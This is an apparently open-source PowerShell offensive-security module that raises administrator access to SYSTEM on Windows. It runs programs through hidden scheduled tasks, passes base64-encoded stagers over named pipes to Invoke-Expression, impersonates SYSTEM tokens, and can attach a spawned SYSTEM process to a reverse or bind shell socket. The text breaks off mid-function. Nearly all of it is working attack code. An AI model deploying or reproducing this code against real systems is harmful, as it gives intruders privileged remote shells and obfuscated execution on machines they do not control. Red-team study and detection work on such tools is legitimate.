PowerRunAsSystem.psm1

# ----------------------------------------------------------------------------------- #
# #
# .Developer #
# Jean-Pierre LESUEUR (@DarkCoderSc) #
# https://www.twitter.com/darkcodersc #
# https://github.com/PhrozenIO #
# https://github.com/DarkCoderSc #
# www.phrozen.io #
# jplesueur@phrozen.io #
# PHROZEN #
# .License #
# Apache License #
# Version 2.0, January 2004 #
# http://www.apache.org/licenses/ #
# .Disclaimer #
# This script is provided "as is", without warranty of any kind, express or #
# implied, including but not limited to the warranties of merchantability, #
# fitness for a particular purpose and noninfringement. In no event shall the #
# authors or copyright holders be liable for any claim, damages or other #
# liability, whether in an action of contract, tort or otherwise, arising #
# from, out of or in connection with the software or the use or other dealings #
# in the software. #
# #
# ----------------------------------------------------------------------------------- #

# ----------------------------------------------------------------------------------- #
# - STRUCTURES MEMORY MAPS - #
# ----------------------------------------------------------------------------------- #
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
# ----------------------------------------------------------------------------------- #
# Field | Type | Size x32 | Offset x32 | Size x64 | Offset x64 #
# ----------------------------------------------------------------------------------- #
# PROCESS_INFORMATION #
# ----------------------------------------------------------------------------------- #
# hProcess | HANDLE | 0x4 | 0x0 | 0x8 | 0x0 #
# hThread | HANDLE | 0x4 | 0x4 | 0x8 | 0x8 #
# dwProcessId | DWORD | 0x4 | 0x8 | 0x4 | 0x10 #
# dwThreadId | DWORD | 0x4 | 0xC | 0x4 | 0x14 #
# ----------------------------------------------------------------------------------- #
# Total Size x32: 0x10 (16 Bytes) | Total Size x64: 0x18 (24 Bytes) #
# ----------------------------------------------------------------------------------- #
# STARTUPINFOW #
# ----------------------------------------------------------------------------------- #
# cb | DWORD | 0x4 | 0x0 | 0x4 | 0x0 #
# lpReserved | LPWSTR | 0x4 | 0x4 | 0x8 | 0x8 #
# lpDesktop | LPWSTR | 0x4 | 0x8 | 0x8 | 0x10 #
# lpTitle | LPWSTR | 0x4 | 0xC | 0x8 | 0x18 #
# dwX | DWORD | 0x4 | 0x10 | 0x4 | 0x20 #
# dwY | DWORD | 0x4 | 0x14 | 0x4 | 0x24 #
# dwXSize | DWORD | 0x4 | 0x18 | 0x4 | 0x28 #
# dwYSize | DWORD | 0x4 | 0x1C | 0x4 | 0x2C #
# dwXCountChars | DWORD | 0x4 | 0x20 | 0x4 | 0x30 #
# dwYCountChars | DWORD | 0x4 | 0x24 | 0x4 | 0x34 #
# dwFillAttribute | DWORD | 0x4 | 0x28 | 0x4 | 0x38 #
# dwFlags | DWORD | 0x4 | 0x2C | 0x4 | 0x3C #
# wShowWindow | WORD | 0x2 | 0x30 | 0x2 | 0x40 #
# cbReserved2 | WORD | 0x2 | 0x32 | 0x2 | 0x42 #
# lpReserved2 | LPBYTE | 0x4 | 0x34 | 0x8 | 0x48 #
# hStdInput | HANDLE | 0x4 | 0x38 | 0x8 | 0x50 #
# hStdOutput | HANDLE | 0x4 | 0x3C | 0x8 | 0x58 #
# hStdError | HANDLE | 0x4 | 0x40 | 0x8 | 0x60 #
# ----------------------------------------------------------------------------------- #
# Total Size x32: 0x44 (68 Bytes) | Total Size x64: 0x68 (104 Bytes) #
# ----------------------------------------------------------------------------------- #
# WTS_SESSION_INFOW #
# ----------------------------------------------------------------------------------- #
# SessionId | DWORD | 0x4 | 0x0 | 0x4 | 0x0 #
# pWinStationName | LPSTR | 0x4 | 0x4 | 0x8 | 0x8 #
# State | WTS_C_STATE | 0x1 | 0x8 | 0x1 | 0x10 #
# ----------------------------------------------------------------------------------- #
# Total Size x32: 0xC (12 Bytes) | Total Size x64: 0x18 (24 Bytes) #
# ----------------------------------------------------------------------------------- #
# TokenPrivilege Structure #
# ----------------------------------------------------------------------------------- #
# PrivilegeCount | UInt32 | 0x4 | 0x0 | 0x4 | 0x0 #
# Luid | Int64 (long) | 0x8 | 0x4 | 0x8 | 0x8 #
# Attributes | UInt32 | 0x4 | 0xC | 0x4 | 0x10 #
# ----------------------------------------------------------------------------------- #
# Total Size x32: 0x10 (16 Bytes) | Total Size x64: 0x18 (24 Bytes) #
# ----------------------------------------------------------------------------------- #


# ----------------------------------------------------------------------------------- #
# #
# #
# #
# Windows API Definitions #
# #
# #
# #
# ----------------------------------------------------------------------------------- #

Add-Type @"
    using System;
    using System.Security;
    using System.Runtime.InteropServices;
 
    public static class ADVAPI32
    {
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool LookupPrivilegeValue(
            IntPtr lpSystemName,
            string lpName,
            ref long lpLuid
        );
 
        [DllImport("advapi32.dll", SetLastError=true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool AdjustTokenPrivileges(
            IntPtr TokenHandle,
            bool DisableAllPrivileges,
            IntPtr NewState,
            UInt32 BufferLengthInBytes,
            IntPtr PreviousState,
            IntPtr ReturnLengthInBytes
        );
 
        [DllImport("advapi32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ImpersonateNamedPipeClient(
            IntPtr hNamedPipe
        );
 
        [DllImport("advapi32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool RevertToSelf();
    }
 
    public static class Kernel32
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool CloseHandle(IntPtr handle);
    }
"@


# ----------------------------------------------------------------------------------- #
# #
# #
# #
# Spawn Interactive System Process Script Block #
# (Stager) #
# #
# #
# ----------------------------------------------------------------------------------- #

$InvokeInteractiveProcess_ScriptBlock = {
    Add-Type @"
        using System;
        using System.Security;
        using System.Runtime.InteropServices;
 
        public static class ADVAPI32
        {
            [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool CreateProcessAsUser(
                IntPtr hToken,
                IntPtr lpApplicationName,
                string lpCommandLine,
                IntPtr lpProcessAttributes,
                IntPtr lpThreadAttributes,
                bool bInheritHandles,
                uint dwCreationFlags,
                IntPtr lpEnvironment,
                IntPtr lpCurrentDirectory,
                IntPtr lpStartupInfo,
                IntPtr lpProcessInformation
            );
 
            [DllImport("advapi32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool DuplicateTokenEx(
                IntPtr hExistingToken,
                uint dwDesiredAccess,
                IntPtr lpTokenAttributes,
                byte ImpersonationLevel,
                byte TokenType,
                ref IntPtr phNewToken
            );
 
            [DllImport("advapi32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool SetTokenInformation(
                IntPtr TokenHandle,
                byte TokenInformationClass,
                ref UInt32 TokenInformation,
                UInt32 TokenInformationLength
            );
        }
 
        public static class Kernel32
        {
            [DllImport("kernel32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool CloseHandle(IntPtr handle);
        }
 
        public static class WTSAPI32
        {
            [DllImport("wtsapi32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool WTSEnumerateSessions(
                IntPtr hServer,
                UInt32 Reserved,
                UInt32 Version,
                ref IntPtr ppSessionInfo,
                ref UInt32 pCount
            );
 
            [DllImport("Ws2_32.dll", SetLastError = true)]
            public static extern int WSAStartup(ushort wVersionRequested, IntPtr lpWSAData);
 
            [DllImport("wtsapi32.dll")]
            public static extern void WTSFreeMemory(IntPtr pMemory);
        }
 
        public static class WS232
        {
            [DllImport("Ws2_32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.I4)]
            public static extern int WSAStartup(
                ushort wVersionRequested,
                IntPtr lpWSAData
            );
 
            [DllImport("Ws2_32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.I4)]
            public static extern int WSACleanup();
 
            [DllImport("ws2_32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern IntPtr WSASocket(
                int af,
                int type,
                int protocol,
                IntPtr lpProtocolInfo,
                int g,
                int dwFlags
            );
 
            [DllImport("ws2_32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.I4)]
            public static extern int WSAConnect(
                IntPtr s,
                IntPtr name,
                int namelen,
                IntPtr lpCallerData,
                IntPtr lpCalleeData,
                IntPtr lpSQOS,
                IntPtr lpGQOS
            );
 
            [DllImport("ws2_32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.I4)]
            public static extern int bind(
                IntPtr s,
                IntPtr name,
                int namelen
            );
 
            [DllImport("ws2_32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.I4)]
            public static extern int listen(
                IntPtr s,
                int backlog
            );
 
            [DllImport("ws2_32.dll", SetLastError = true)]
            public static extern IntPtr WSAAccept(
                IntPtr s,
                IntPtr addr,
                IntPtr addrlen,
                IntPtr lpfnCondition,
                IntPtr dwCallbackData
            );
 
            [DllImport("ws2_32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.I4)]
            public static extern int closesocket(IntPtr s);
        }
"@


    function Get-ActiveDesktopSessionId
    {
        $activeSessionId = 0xFFFFFFFF

        $pSessionArray = [IntPtr]::Zero
        $sessionCount = 0

        if (-not [WTSAPI32]::WTSEnumerateSessions([IntPtr]::Zero, 0, 1, [ref]$pSessionArray, [ref]$sessionCount))
        {
            throw [WinAPIException]::New("WTSEnumerateSessions")
        }
        try
        {
            if ([Environment]::Is64BitProcess)
            {
                $structSize = 0x18
                $structOffset_State = 0x10
            }
            else
            {
                $structSize = 0xc
                $structOffset_State = 0x8
            }

            for ($i = 0; $i -lt $sessionCount; $i++)
            {
                $pOffset = [IntPtr]([Int64]$pSessionArray + ($i * $structSize))

                $curSessionId = [System.Runtime.InteropServices.Marshal]::ReadInt32($pOffset, 0x0)
                $curSessionState = [System.Runtime.InteropServices.Marshal]::ReadInt32($pOffset, $structOffset_State)

                $WTS_CONNECTSTATE_CLASS_WTSActive = 0
                if ($curSessionState -eq $WTS_CONNECTSTATE_CLASS_WTSActive)
                {
                    $activeSessionId = $curSessionId

                    break
                }
            }
        }
        finally
        {
            if ($pSessionArray -ne [IntPtr]::Zero)
            {
                [WTSAPI32]::WTSFreeMemory($pSessionArray)
            }
        }

        return $activeSessionId
    }

    function Initialize-NativeSocket
    {
        $WSAData = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(408)
        if ([WS232]::WSAStartup(0x2020, $WSAData))
        {
            throw [WinAPIException]::New("WSAStartup")
        }

        return $WSAData
    }

    function Clear-NativeSocket
    {
        $null = [WS232]::WSACleanup()
    }

    function New-NativeSocket
    {
        $AF_INET = 2
        $SOCK_STREAM = 1
        $IPPROTO_TCP = 6

        $socket = [WS232]::WSASocket($AF_INET, $SOCK_STREAM, $IPPROTO_TCP, [IntPtr]::Zero, 0, 0)
        if ($socket -eq [IntPtr]::Zero)
        {
            throw [WinAPIException]::New("WSASocket")
        }

        return $socket
    }

    function Close-NativeSocket
    {
        param (
            [IntPtr] $Socket
        )

        if ([int]$Socket -le 0)
        {
            return
        }

        if ([WS232]::closesocket($Socket))
        {
            throw [WinAPIException]::New("closesocket")
        }

    }

    function Connect-NativeSocket
    {
        param (
            [Parameter(Mandatory=$True)]
            [string] $Address,

            [Parameter(Mandatory=$True)]
            [ValidateRange(1, 65535)]
            [int] $Port,

            [Parameter(Mandatory=$True)]
            [ValidateSet("Reverse", "Bind")]
            [string] $Mode
        )

        $SOCKET_ERROR = -1
        $sockAddrPtr = [IntPtr]::Zero
        $socket = $SOCKET_ERROR
        try
        {
            $socket = New-NativeSocket

            # This tiny hack is used to avoid defining by hand `SockAddr` native structure.
            $ipEndPoint = [System.Net.IPEndPoint]::New(
                [System.Net.IPAddress]::Parse($Address),
                $Port
            )

            $sockAddr = $ipEndPoint.Serialize()

            $sockAddrPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sockAddr.Size)

            for ($i = 0; $i -lt $sockAddr.Size; $i++) {
                [System.Runtime.InteropServices.Marshal]::WriteByte($sockAddrPtr, $i, $sockAddr[$i])
            }

            Switch ($RedirectKind)
            {
                # Reverse Shell: Remote listener must be started before executing this command.
                "Reverse" {
                    $result = [WS232]::WSAConnect(
                        $socket,
                        $sockAddrPtr,
                        $sockAddr.Size,
                        [IntPtr]::Zero,
                        [IntPtr]::Zero,
                        [IntPtr]::Zero,
                        [IntPtr]::Zero
                    )
                    if ($result -eq $SOCKET_ERROR)
                    {
                        throw [WinAPIException]::New("WSAConnect")
                    }
                }

                # Bind Shell: This will start a listener and wait for a single connection to occur. Notice that
                # this method will block the execution until a connection is established.
                "Bind" {
                    $result = [WS232]::bind(
                        $socket,
                        $sockAddrPtr,
                        $sockAddr.Size
                    )

                    if ($result -eq $SOCKET_ERROR)
                    {
                        throw [WinAPIException]::New("bind")
                    }

                    $result = [WS232]::listen(
                        $socket,
                        1  # Maximum number of pending connections (We only need one)
                    )

                    if ($result -eq $SOCKET_ERROR)
                    {
                        throw [WinAPIException]::New("listen")
                    }

                    $socket = [WS232]::WSAAccept(
                        $socket,
                        [IntPtr]::Zero,
                        [IntPtr]::Zero,
                        [IntPtr]::Zero,
                        [IntPtr]::Zero
                    )
                }
            }
        }
        catch
        {
            Close-NativeSocket -Socket $socket

            $socket = $SOCKET_ERROR
        }
        finally
        {
            if ($sockAddrPtr -ne [IntPtr]::Zero)
            {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($sockAddrPtr)
            }
        }

        return $socket
    }

    function Invoke-InteractiveSystemProcess
    {
        param(
            [string] $CommandLine = "powershell.exe",
            [switch] $Hide,

            [ValidateSet("None", "Reverse", "Bind")]
            [string] $RedirectKind = "None",

            [string] $Address = "",

            [ValidateRange(1, 65535)]
            [int] $Port = 2801
        )

        if (-not [Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
        {
            return
        }

        $redirectFd = $false
        if ($RedirectKind -ne "None")
        {
            # Initialize Default Address (Depending on the context)
            if ($Address -eq "")
            {
                Switch ($RedirectKind)
                {
                    "Reverse" {
                        $Address = "127.0.0.1"
                    }

                    "Bind" {
                        $Address = "0.0.0.0"
                    }
                }
            }

            Initialize-NativeSocket

            $socket = Connect-NativeSocket -Address $Address -Port $Port -Mode $RedirectKind

            $redirectFd = $true
        }

        $newToken = [IntPtr]::Zero
        try
        {
            $token = [Security.Principal.WindowsIdentity]::GetCurrent().Token

            $MAXIMUM_ALLOWED = 0x02000000
            $SECURITY_IMPERSONATION_LEVEL_SecurityImpersonation = 0x2
            $TOKEN_TYPE_TokenPrimary = 0x1

            if (-not [ADVAPI32]::DuplicateTokenEx(
                $token,
                $MAXIMUM_ALLOWED,
                [IntPtr]::Zero,
                $SECURITY_IMPERSONATION_LEVEL_SecurityImpersonation,
                $TOKEN_TYPE_TokenPrimary,
                [ref]$newToken)
            )
            {
                throw [WinAPIException]::New("DuplicateTokenEx")
            }

            $activeSessionId = Get-ActiveDesktopSessionId

            $TOKEN_INFORMATION_CLASS_TokenSessionId = 0xc

            if (-not [ADVAPI32]::SetTokenInformation(
                $newToken,
                $TOKEN_INFORMATION_CLASS_TokenSessionId,
                [ref]$activeSessionId,
                [Runtime.InteropServices.Marshal]::SizeOf($activeSessionId))
            )
            {
                throw [WinAPIException]::New("SetTokenInformation")
            }

            $STARTF_USESTDHANDLES = 0x100
            $STARTF_USESHOWWINDOW = 0x1
            $SW_SHOW = 0x5
            $SW_HIDE = 0x0

            if ([Environment]::Is64BitProcess)
            {
                # STARTUP_INFO x64
                $STARTUPINFO_structSize = 0x68
                $STARTUPINFO_dwFlags = 0x3c
                $STARTUPINFO_wShowWindow = 0x40
                $STARTUPINFO_StdInput = 0x50
                $STARTUPINFO_StdOutput = 0x58
                $STARTUPINFO_StdError = 0x60

                # PROCESS_INFORMATION x64
                $PROCESS_INFORMATION_structSize = 0x18
                $PROCESS_INFORMATION_dwProcessId = 0x10
                $PROCESS_INFORMATION_hThread = 0x8
            }
            else
            {
                # STARTUP_INFO x32
                $STARTUPINFO_structSize = 0x44
                $STARTUPINFO_dwFlags = 0x2c
                $STARTUPINFO_wShowWindow = 0x30
                $STARTUPINFO_StdInput = 0x38
                $STARTUPINFO_StdOutput = 0x3c
                $STARTUPINFO_StdError = 0x40

                # PROCESS_INFORMATION x32
                $PROCESS_INFORMATION_structSize = 0x10
                $PROCESS_INFORMATION_dwProcessId = 0x8
                $PROCESS_INFORMATION_hThread = 0x4
            }

            $pSTARTUPINFO = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($STARTUPINFO_structSize)
            $pPROCESS_INFORMATION = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PROCESS_INFORMATION_structSize)
            try
            {
                Invoke-ZeroMemory -MemoryOffset $pSTARTUPINFO -Size $STARTUPINFO_structSize
                Invoke-ZeroMemory -MemoryOffset $pPROCESS_INFORMATION -Size $PROCESS_INFORMATION_structSize

                # STARTUPINFO Structure Initialization
                [System.Runtime.InteropServices.Marshal]::WriteInt32(
                    $pSTARTUPINFO,
                    0x0,
                    $STARTUPINFO_structSize
                )

                $dwFlags = $STARTF_USESHOWWINDOW
                if ($redirectFd)
                {
                    $dwFlags = $dwFlags -bor $STARTF_USESTDHANDLES
                }

                [System.Runtime.InteropServices.Marshal]::WriteInt32(
                    $pSTARTUPINFO,
                    $STARTUPINFO_dwFlags,
                    $dwFlags
                )

                [System.Runtime.InteropServices.Marshal]::WriteInt16(
                    $pSTARTUPINFO,
                    $STARTUPINFO_wShowWindow,
                    $(if ($Hide) {$SW_HIDE} else {$SW_SHOW})
                )

                # Redirect Standard I/O
                if ($redirectFd)
                {
                    [System.Runtime.InteropServices.Marshal]::WriteIntPtr(
                        $pSTARTUPINFO,
                        $STARTUPINFO_StdInput,
                        $socket
                    )

                    [System.Runtime.InteropServices.Marshal]::WriteIntPtr(
                        $pSTARTUPINFO,
                        $STARTUPINFO_StdOutput,
                        $socket
                    )

                    [System.Runtime.InteropServices.Marshal]::WriteIntPtr(
                        $pSTARTUPINFO,
                        $STARTUPINFO_StdError,
                        $socket
                    )
                }

                # Start new process as SYSTEM (Interactive Session)
                $CREATE_NEW_CONSOLE = 0x10

                if (-not [ADVAPI32]::CreateProcessAsUser(
                    $newToken,
                    [IntPtr]::Zero,
                    $CommandLine,
                    [IntPtr]::Zero,
                    [IntPtr]::Zero,
                    $(if ($redirectFd -eq $true) { $true } else { $false }),
                    $CREATE_NEW_CONSOLE,
                    [IntPtr]::Zero,
                    [IntPtr]::Zero,
                    $pSTARTUPINFO,
                    $pPROCESS_INFORMATION
                ))
                {
                    throw [WinAPIException]::New("CreateProcessAsUser")
                }

                # Read Process Information
                $processId = [System.Runtime.InteropServices.Marshal]::ReadInt32(
                    $pPROCESS_INFORMATION,
                    $PROCESS_INFORMATION_dwProcessId
                )

                $hProcess = [System.Runtime.InteropServices.Marshal]::ReadIntPtr(
                    $pPROCESS_INFORMATION,
                    0x0
                )

                $hThread = [System.Runtime.InteropServices.Marshal]::ReadIntPtr(
                    $pPROCESS_INFORMATION,
                    $PROCESS_INFORMATION_hThread
                )

                # Close returned handles, it is recommended by Microsoft documentation
                $null = [Kernel32]::CloseHandle($hThread)
                $null = [Kernel32]::CloseHandle($hProcess)

                if ($processId -gt -1 -and $redirectFd)
                {
                    Wait-Process -Id $processId

                    Close-NativeSocket -Socket $socket
                }

                return $processId
            }
            finally
            {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pSTARTUPINFO)
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pPROCESS_INFORMATION)
            }
        }
        catch
        {
            return -1
        }
        finally
        {
            if ($newToken -ne [IntPtr]::Zero)
            {
                $null = [Kernel32]::CloseHandle($newToken)
            }
        }
    }
}

# ----------------------------------------------------------------------------------- #
# #
# #
# #
# Classes #
# #
# #
# #
# ----------------------------------------------------------------------------------- #

$WinAPIException_ScriptBlock = {
    class WinAPIException: System.Exception {
        WinAPIException([string] $ApiName) : base (
            [string]::Format(
                "WinApi Exception -> {0}, LastError: {1}",
                $ApiName,
                [System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString()
            )
        )
        {}
    }
}
. $WinAPIException_ScriptBlock

# ----------------------------------------------------------------------------------- #
# #
# #
# #
# Internal Functions #
# #
# #
# #
# ----------------------------------------------------------------------------------- #

$InvokeZeroMemory_ScriptBlock = {
    function Invoke-ZeroMemory
    {
        param(
            [IntPtr] $MemoryOffset,
            [int] $Size
        )

        for ($i = 0; $i -lt $Size; $i++)
        {
            [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryOffset, $i, 0x0)
        }
    }
}
. $InvokeZeroMemory_ScriptBlock

function Test-SystemImpersonation
{
    <#
        .SYNOPSIS
            Check if current user is correctly impersonating SYSTEM user.
                - ImpersonationLevel: Impersonate
                - IsSystem: True
    #>

    $isSystem = [Security.Principal.WindowsIdentity]::GetCurrent().IsSystem
    $impersonationLevel = [System.Security.Principal.WindowsIdentity]::GetCurrent().ImpersonationLevel

    return ($impersonationLevel -eq [System.Management.ImpersonationLevel]::Impersonate) -and $isSystem
}

function Test-Administrator
{
    <#
        .SYNOPSIS
            Check if current user has administrator privilege. This privilege is required to register a
            SYSTEM user scheduled task.
    #>

    $windowsPrincipal = New-Object Security.Principal.WindowsPrincipal(
        [Security.Principal.WindowsIdentity]::GetCurrent()
    )

    return $windowsPrincipal.IsInRole(
        [Security.Principal.WindowsBuiltInRole]::Administrator
    )
}

function Test-AdministratorOrRaise
{
    <#
        .SYNOPSIS
            Call `Test-Administrator` and raise an exception if the user is not an administrator.
    #>

    if (-not (Test-Administrator))
    {
        throw "Insufficient Privilege: You must have administrator privilege to perform this action."
    }
}

function Get-RandomString
{
    <#
        .SYNOPSIS
            Return a random string composed of a-Z and 0-9
    #>

    $charList = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

    return -join ((1..15) | ForEach-Object { Get-Random -Input $charList.ToCharArray() })
}

function Set-CurrentProcessPrivilege
{
    <#
        .SYNOPSIS
            Adjust current process privilege.
    #>

    param(
        [Parameter(Mandatory=$True)]
        $PrivilegeName,

        [bool] $Enable = $true
    )

    $luid = 0

    $result = [ADVAPI32]::LookupPrivilegeValue(
        [IntPtr]::Zero,
        $PrivilegeName,
        [ref] $luid
    )
    if (-not $result)
    {
        throw [WinAPIException]::New("LookupPrivilegeValue")
    }

    $SE_PRIVILEGE_ENABLED = 0x2

    if ($Enable)
    {
        $attr = $SE_PRIVILEGE_ENABLED
    }
    else
    {
        $attr = 0x0
    }

    if ([Environment]::Is64BitProcess)
    {
        # TokenPrivilege Structure x64
        $tokenPrivilege_structSize = 0x18
        $tokenPrivilege_LuidOffset = 0x8
        $tokenPrivilege_AttributesOffset = 0x10
    }
    else
    {
        # TokenPrivilege Structure x32
        $tokenPrivilege_structSize = 0x10
        $tokenPrivilege_LuidOffset = 0x4
        $tokenPrivilege_AttributesOffset = 0xC
    }

    $tokenPrivilege = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($tokenPrivilege_structSize)
    try
    {
        Invoke-ZeroMemory -MemoryOffset $tokenPrivilege -Size $tokenPrivilege_structSize

        [System.Runtime.InteropServices.Marshal]::WriteInt32(
            $tokenPrivilege,
            0,
            1
        )

        [System.Runtime.InteropServices.Marshal]::WriteInt64(
            $tokenPrivilege,
            $tokenPrivilege_LuidOffset,
            $luid
        )

        [System.Runtime.InteropServices.Marshal]::WriteInt32(
            $tokenPrivilege,
            $tokenPrivilege_AttributesOffset,
            $attr
        )

        $result = [ADVAPI32]::AdjustTokenPrivileges(
            [Security.Principal.WindowsIdentity]::GetCurrent().Token,
            $false,
            $tokenPrivilege,
            0,
            [IntPtr]::Zero,
            [IntPtr]::Zero
        )
        if (-not $result)
        {
            throw [WinAPIException]::New("AdjustTokenPrivileges")
        }
    }
    finally
    {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($tokenPrivilege)
    }

    return ([System.Runtime.InteropServices.Marshal]::GetLastWin32Error() -eq 0)
}

function Write-CurrentUser
{
    <#
        .SYNOPSIS
            Write the current user information to the console.
 
        .DESCRIPTION
            This function will write the current user name and token to the console.
            If the current user is the result of an impersonation, it will display "Impersonated" next to the user name.
    #>

    Write-Host "Current User: " -NoNewLine
    Write-Host ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name) -ForegroundColor Green -NoNewLine
    Write-Host " (" -NoNewLine
    Write-Host ([Security.Principal.WindowsIdentity]::GetCurrent().Token) -NoNewLine -ForegroundColor Cyan


    if (Test-SystemImpersonation)
    {
        Write-Host " - Impersonated" -NoNewLine
    }

    Write-Host ")"
}

# ----------------------------------------------------------------------------------- #
# #
# #
# #
# Exported Functions #
# #
# #
# #
# ----------------------------------------------------------------------------------- #

function Invoke-SystemCommand
{
    <#
        .SYNOPSIS
            Execute an application as SYSTEM user with the specified argument(s).
 
        .DESCRIPTION
            Impersonation is not required for this function. It exclusively relies on Task Scheduler to execute action.
 
            It is important to note that executed application will run in the background and will not be visible to the user.
            (Non-interactive)
 
        .PARAMETER Application
            Program to execute as System.
 
        .PARAMETER Argument
            Optional argument(s) to pass to program to execute.
    #>

    param(
        [string] $Application = "powershell.exe",
        [string] $Argument = "-Command ""whoami | Out-File C:\result.txt"""
    )

    Test-AdministratorOrRaise

    $taskName = Get-RandomString

    if ($Argument)
    {
        $action = New-ScheduledTaskAction -Execute $Application -Argument $Argument
    }
    else
    {
        $action = New-ScheduledTaskAction -Execute $Application
    }

    $null = Register-ScheduledTask -Force -Action $action -TaskName $taskName -User "NT AUTHORITY\SYSTEM"
    try
    {
        Start-ScheduledTask $taskName
    }
    finally
    {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }
}

function Invoke-InteractiveSystemProcess
{
    <#
        .SYNOPSIS
            Spawn a SYSTEM process in Active Microsoft Windows Session.
    #>

    param (
        [string] $CommandLine = "powershell.exe",
        [switch] $Hide,

        [ValidateSet("None", "Reverse", "Bind")]
        [string] $RedirectKind = "None",

        # Depending on the RedirectKind, the following parameter is whether the address of remote server
        # or the interface to bind to.
        [string] $Address,

        [ValidateRange(1, 65535)]
        [int] $Port
    )

    $stager_ScriptBlock = {
        try
        {
            $pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream(".", "PIPENAME", [System.IO.Pipes.PipeDirection]::In)

            $pipeClient.Connect(5 * 1000)

            $reader = New-Object System.IO.StreamReader($pipeClient)

            $nextStage = $reader.ReadLine()

            Invoke-Expression([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($nextStage)))
        }
        finally
        {
            if ($reader)
            {
                $reader.Close()
            }

            if ($pipeClient)
            {
                $pipeClient.Dispose()
            }
        }
    }

    $pipeName = Get-RandomString

    $encodedBlock =  [Convert]::ToBase64String(
        [System.Text.Encoding]::ASCII.GetBytes(
            ($stager_ScriptBlock.ToString()).replace('PIPENAME', $pipeName)
        )
    )

    $command = [string]::Format(
        "Invoke-Expression([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{0}')))",
        $encodedBlock
    )

    Invoke-SystemCommand -Argument $command

    try
    {
        $pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName, [System.IO.Pipes.PipeDirection]::Out)

        $pipeServer.WaitForConnection()

        $writer = New-Object System.IO.StreamWriter($pipeServer)
        $writer.AutoFlush = $true

        # Prepare optional arguments
        $optionalArgs = @()

        if ($Hide)
        {
            $optionalArgs += "-Hide"
        }

        if ($RedirectKind -ne "None")
        {
            $optionalArgs += "-RedirectKind $RedirectKind"

            if ($Address)
            {
                $optionalArgs += "-Address $Address"
            }

            if ($Port)
            {
                $optionalArgs += "-Port $Port"
            }
        }

        # Create our final payload that will be executed in the context of the SYSTEM user
        $payload = $InvokeInteractiveProcess_ScriptBlock.ToString() +
            $WinAPIException_ScriptBlock.ToString() +
            $InvokeZeroMemory_ScriptBlock.ToString() +
            [string]::Format(
                "Invoke-InteractiveSystemProcess -CommandLine ""{0}"" {1}",
                $CommandLine,
                # Forward optional arguments
                ($optionalArgs -join " ")
            )

        $encoded_payload = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($payload))

        $writer.WriteLine($encoded_payload)
    }
    finally
    {
        if ($writer)
        {
            $writer.Close()
        }

        if ($pipeServer)
        {
            $pipeServer.Dispose()
        }
    }
}

function Invoke-ImpersonateSystem
{
    <#
        .SYNOPSIS
            Impersonate SYSTEM User using NamedPipes. After calling this command,
            current thread will impersonate the SYSTEM User. You will be able to spawn a new
            process as SYSTEM using the impersonated token.
 
        .DESCRIPTION
            Use the Invoke-RevertToSelf to stop impersonation.
    #>

    Test-AdministratorOrRaise

    if (Test-SystemImpersonation)
    {
        throw "You are already impersonating SYSTEM user. Use `Invoke-RevertToSelf` to stop impersonation."
    }

    $stager_ScriptBlock = {
        try
        {
            $pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream(".", "PIPENAME", [System.IO.Pipes.PipeDirection]::Out)

            $pipeClient.Connect(10 * 1000)

            $writer = New-Object System.IO.StreamWriter($pipeClient)
            $writer.AutoFlush = $true

            $writer.Write("A")
        }
        finally
        {
            if ($writer)
            {
                $writer.Close()
            }

            if ($pipeClient)
            {
                $pipeClient.Dispose()
            }
        }
    }

    try
    {
        $null = Set-CurrentProcessPrivilege -PrivilegeName "SeImpersonatePrivilege"
    }
    catch
    {}

    try
    {
        Write-CurrentUser

        $pipeName = Get-RandomString

        $pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName, [System.IO.Pipes.PipeDirection]::In)

        $encodedBlock =  [Convert]::ToBase64String(
